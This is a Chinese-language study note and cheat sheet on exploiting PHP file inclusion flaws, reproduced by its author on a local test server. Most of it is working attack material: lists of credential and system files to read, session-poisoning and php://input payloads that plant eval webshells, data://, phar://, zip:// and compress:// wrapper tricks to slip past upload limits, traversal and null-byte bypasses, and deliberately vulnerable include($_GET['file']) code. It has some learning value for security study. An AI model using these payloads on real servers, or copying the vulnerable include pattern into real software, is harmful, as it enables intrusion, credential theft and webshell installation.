PHP文件包含学习笔记
看完下面的几篇文章,然后从第8行开始以后的内容可以忽略!此文是个笔记梳理,是对大佬文章简单的COPY记录,方便以后查看,自己只复现了其中的例子
参考文章:
PHP文件包含漏洞利用思路与Bypass总结手册1
PHP文件包含漏洞利用思路与Bypass总结手册2
PHP文件包含漏洞利用思路与Bypass总结手册3
Web安全实战系列:文件包含漏洞
以下是忽略部分:
简介:php中,利用include()、include_once()、require()、require_once()来包含文件时,不管被包含的文件是什么类型,都会直接被作为php文件进行解析。
一般存在文件包含的地方也存在着目录穿越漏洞
本地文件包含
PHP文件包含漏洞利用思路与Bypass总结手册1
Web安全实战系列:文件包含漏洞
条件:
php.ini配置文件中开启 allow_url_include
利用点:
读取本地敏感文件 /etc/passwd
等
敏感文件有:传送门
Windows:
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
C:\Windows\System32\inetsrv\config\applicationHost.config // IIS7.0+WIN 配置文件
Linux:
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/init.d/httpd // Apache配置文件
/etc/my.conf // mysql 配置文件
读取网页源代码,审计
上传、下载、登陆、注册页面的具体代码
上传图片马,GETshell
上传包含一句话木马的图片即可,然后在页面中包含进来,菜刀或者蚁剑连接即可取得shell
包含日志文件 GETshell
(1) apache+Linux日志默认路径
/etc/httpd/logs/access_log 或 /var/log/httpd/access_log
(2) apache+win2003日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
(3) IIS6.0+win2003默认日志文件
C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
日志文件在用户安装目录logs目录下
如安装路径为/usr/local/nginx,
则日志目录在/usr/local/nginx/logs
其他日志类型请看 PHP文件包含漏洞利用思路与Bypass总结手册2
包含session文件 GETshell
条件:
session文件路径已知(可以通过phpinfo()信息泄露或者猜测得到),且其中内容部分可控,比如session文件中会包含你的个人资料信息,这一部分是可控的。
PHP 默认将用户的 session 存在服务器的文件里,可以在php.ini里面设置session的存储位置session.save_path。
如下是phpinfo泄露的 session.save_path
Linux下一些默认session存储路径:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
存储的 session 的文件名格式为 sess_[PHPSESSID] ,其中 PHPSESSID 可以在浏览器控制台 Application 里看到,也可以在cookie里看到
php 对 session 的存储常用的有三种处理方式:
-
session.serialize_handler=php(默认)
只对用户名的内容进行了序列化存储,没有对变量名进行序列化,可以看作是服务器对用户会话信息的半序列化存储过程。
比如:传入数据username=test
,那么变成session后存储为username|s:4:"test";
-
session.serialize_handler=php_serialize
对整个session信息包括文件名、文件内容都进行了序列化处理,可以看作是服务器对用户会话信息的完全序列化存储过程。
比如:传入数据username=test
,那么变成session后存储为a:1{s:8:"username";s:4:"test";}
-
session.serialize_handler=php_binary
键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数反序列化处理的值
利用方式:前提是用户可以控制session文件中的一部分信息,然后将这部分信息变成我们构造的恶意代码,之后去包含含有我们传入恶意代码的这个session文件就可以达到攻击效果。
示例:
首先我们通过猜测或者通过文件包含漏洞得到 phpinfo 信息泄露查看到session文件存储的位置
session.php
:
<?php
session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;
?>
fileinc.php
:
<?php
$file = $_GET['file'];
include($file);
?>
然后我们访问 session.php
,并传入参数 username=<?php eval($_POST[password]);?>
接下来查看浏览器控制台,找到对应 sessionid = bh1a7bbhuk196gl2v32qm8eono
然后便可以访问有文件包含漏洞的 fileinc.php 页面,包含存有一句话木马的 session 文件,并传参过去即可
session文件名为:sess_bh1a7bbhuk196gl2v32qm8eono
,路径为:D:/software/xampp/sodevel-wnmp/web/phplearn/session_s/sess_bh1a7bbhuk196gl2v32qm8eono
访问http://127.0.0.1/phplearn/fileinc.php?file=D:/software/xampp/sodevel-wnmp/web/phplearn/session_s/sess_bh1a7bbhuk196gl2v32qm8eono
,并且POST参数password=system(whoami)
这里注意:由于包含进去的session文件内容为为 username|s:34:"<?php eval($_REQUEST[password]);?>";
,所以会报 NOTICE,测试环境为 windows,Linux好像不会
包含临时文件以及其他方法 GETshell
远程文件包含
条件:
allow_url_include = on
allow_url_fopen = on
利用点:
- 包含远程 shell
把VPS上的shell包含进去
php 伪协议利用
可以在phpinfo中的Registered PHP Streams中找到可使用的协议:
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
以下协议中的 fileinc.php 实验代码为:
<?php
$file = $_GET['file'];
include($file);
?>
file://
条件:
file:// 协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
作用:
用于访问文件(绝对路径可以;相对路径有点问题)
示例:
http://127.0.0.1/fileinc.php?file=file:///etc/passsword
php://
总条件:
不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
作用:访问输入输出流
①. php://filter
条件:
allow_url_fopen :off/on
allow_url_include:off/on
作用:
读取源代码并进行base64编码输出
示例:
http://127.0.0.1/fileinc.php?file=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码)
http://127.0.0.1/fileinc.php?file=php://filter/convert.base64-encode/resource=[文件名] 不要read=也可以
参数:
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流,可以是相对路径也可以是绝对路径
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
②. php://input
条件:
allow_url_fopen :off/on
allow_url_include:on
作用:
执行POST数据中的php代码
示例:
http://127.0.0.1/fileinc.php?file=php://input
POST数据:<?php phpinfo()?>
写木马文件:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
会在当前目录下写入一个木马
注意:
enctype="multipart/form-data"
的时候 php://input
是无效的
data://
条件:
php >= 5.2
allow_url_fopen :on
allow_url_include:on
作用:
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码
传输
可用的数据流格式:
data:,<文本数据>
data:text/plain,<文本数据>
data:text/html,<HTML代码>
data:text/html;base64,<base64编码的HTML代码>
data:text/css,<CSS代码>
data:text/css;base64,<base64编码的CSS代码>
data:text/javascript,<Javascript代码>
data:text/javascript;base64,<base64编码的Javascript代码>
data:image/gif;base64,base64编码的gif图片数据
data:image/png;base64,base64编码的png图片数据
data:image/jpeg;base64,base64编码的jpeg图片数据
data:image/x-icon;base64,base64编码的icon图片数据
示例:
http://127.0.0.1/fileinc.php?file=data:text/plain,<?php phpinfo()?>
http://127.0.0.1/fileinc.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
phar://
条件:
php >= 5.3.0
注意:压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用
作用:
配合文件上传漏洞getshell,突破文件上传格式的限制
示例:
特性:针对phar://不管后缀是什么,都会当做压缩包来解压。
?file=phar://[压缩包文件相对路径]/[压缩文件内的子文件名]
?file=phar://[压缩包文件绝对路径]/[压缩文件内的子文件名]
方法:写一个一句话木马文件shell.txt,然后用zip协议压缩为shell.zip,然后可以将后缀改为png等其他格式,突破上传限制。
比如:
相对路径
http://127.0.0.1/fileinc.php?file=phar://shell.zip/shell.txt
http://127.0.0.1/fileinc.php?file=phar://shell.png/shell.txt
绝对路径:
http://127.0.0.1/fileinc.php?file=phar://D:/software/xampp/sodevel-wnmp/web/phplearn/shell.zip/shell.txt
http://127.0.0.1/fileinc.php?file=phar://D:/software/xampp/sodevel-wnmp/web/phplearn/shell.png/shell.txt
其他:也支持用phar协议压缩的压缩文件,只是制作有些麻烦,作罢。不过感兴趣的可以看这里
zip://
条件:
想利用相对路径的话需要 php >=5.2.9
作用:
zip伪协议和phar协议类似,但是用法不一样。
示例:
特性:针对zip://不管后缀是什么,都会当做压缩包来解压。
?file=phar://[压缩包文件相对路径]#[压缩文件内的子文件名]
?file=phar://[压缩包文件绝对路径]#[压缩文件内的子文件名]
注意点:当在URl中直接利用时, #
需要使用编码成 %23
方法:写一个一句话木马文件shell.txt,然后用zip协议压缩为shell.zip,然后可以将后缀改为png等其他格式,突破上传限制。
比如:
相对路径:
http://127.0.0.1/fileinc.php?file=zip://shell.png%23shell.txt
绝对路径:
http://127.0.0.1/fileinc.php?file=zip://D:/software/xampp/sodevel-wnmp/web/phplearn/shell.png%23shell.txt
compress.xxx
条件:
php >= 5.2
作用:
配合文件上传漏洞getshell,突破文件上传格式的限制
①compress.bzip2://
示例:
?file=compress.bzip2://[压缩包文件相对路径]
?file=compress.bzip2://[压缩包文件绝对路径]
方法:写一个一句话木马文件shell.txt,然后用bz2协议压缩为shell.bz2,然后可以将后缀改为png等其他格式,突破上传限制。
比如:
相对路径:
http://127.0.0.1/fileinc.php?file=compress.bzip2://shell.bz2
http://127.0.0.1/fileinc.php?file=compress.bzip2://shell.png
绝对路径:
http://127.0.0.1/fileinc.php?file=zip://D:/software/xampp/sodevel-wnmp/web/phplearn/shell.bz2
http://127.0.0.1/fileinc.php?file=zip://D:/software/xampp/sodevel-wnmp/web/phplearn/shell.png
②compress.zlib://
示例:
?file=compress.zlib://[压缩包文件相对路径]
?file=compress.zlib://[压缩包文件绝对路径]
方法:写一个一句话木马文件shell.txt,然后用zlib协议压缩为shell.zip,然后可以将后缀改为png等其他格式,突破上传限制。
比如:
相对路径:
http://127.0.0.1/fileinc.php?file=compress.bzip2://shell.gz
http://127.0.0.1/fileinc.php?file=compress.bzip2://shell.png
绝对路径:
http://127.0.0.1/fileinc.php?file=zip://D:/software/xampp/sodevel-wnmp/web/phplearn/shell.gz
http://127.0.0.1/fileinc.php?file=zip://D:/software/xampp/sodevel-wnmp/web/phplearn/shell.png
Bypass
参考文章:PHP文件包含漏洞利用思路与Bypass总结手册3
指定前缀
例如:
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file;
?>
方法:
目录穿越
条件:
../
没有被过滤或可以被绕过
示例:
?file=../../../etc/passwd
绕过过滤:
- 使用 URL 编码:
../
---->%2e%2e%2f
----> 二次编码%252e%252e%252f
- 利用Windows特性:
..\
,也可以编码为%2e%2e%5c
----> 二次编码%252e%252e%255c
- 其他
某些web容器支持的编码方式:
../ ----> ..%c0%af
PS:Why does Directory traversal attack %C0%AF work?
%c0%ae%c0%ae/
PS:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)
..\ ----> ..%c1%9c
指定后缀
例如:
<?php
$file = $_GET['file'];
include $file.'/test/index.php';
?>
方法:
- 利用 URL 中的
?
和#
条件:
allow_url_include = on
allow_url_fopen = on
示例:
当输入?file=http://www.xxx.com/phpinfo.txt? 包含时变成了 http://www.xxx.com/phpinfo.txt?/test/index.php
问号后面的部分/test/index.php,也就是指定的后缀被当作query从而被绕过,实际包含的文件为 http://www.xxx.com 上的 phpinfo.txt
当输入?file=http://www.xxx.com/phpinfo.txt%23 包含时变成了 http://www.xxx.com/phpinfo.txt#/test/index.php
#号后面的部分/test/index.php,也就是指定的后缀被当作fragment(定位符)从而被绕过,实际包含的文件为 http://www.xxx.com 上的 phpinfo.txt
注意:这里的 # 需要 url编码
- 利用 phar:// 或者 zip:// 或者 compress.xxx:// 协议 构造特殊结构的压缩包
条件:
php >= 5.3.0
示例:
phar://
当输入?file=phar://evil.zip/evil 包含时变成了 ?file=phar://evil.zip/evil/test/index.php
巧妙地利用了压缩包突破了限制
当然这里也可以使用绝对路径,以及更改压缩包的名字为 evil.png 等
zip://
当输入?file=zip://evil.zip%23evil 包含时变成了 ?file=zip://evil.zip%23evil/test/index.php
巧妙地利用了压缩包突破了限制
当然这里也可以使用绝对路径,以及更改压缩包的名字为 evil.png 等
- 长度截断
条件:
php < 5.2.8
原理:
- Windows下目录最大长度为256字节,超出的部分会被丢弃
- Linux下目录最大长度为4096字节,超出的部分会被丢弃
- 零字节截断
条件:
php < 5.3.4
magic_quotes_gpc=Off
示例:
?file=phpinfo.txt%00
- 协议限制
- 限制了 data:// 协议
示例:
<?php
error_reporting(0);
$filename = $_GET['filename'];
if (preg_match("/\bdata\b/iA", $filename)) {
echo "stop hacking!!!!\n";
}
else{
include $filename;
}
?>
代码表示不能以 data 字符串开头
方法:
利用zlib协议嵌套的方法绕过对 data:// 协议的限制
?filename=compress.zlib://data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
allow_url_fopen=Off
由于远程文件包含只对 http 和 ftp 协议生效,所以可以使用其他协议从而绕过限制
参考:PHP文件包含漏洞利用思路与Bypass总结手册3 的最后一点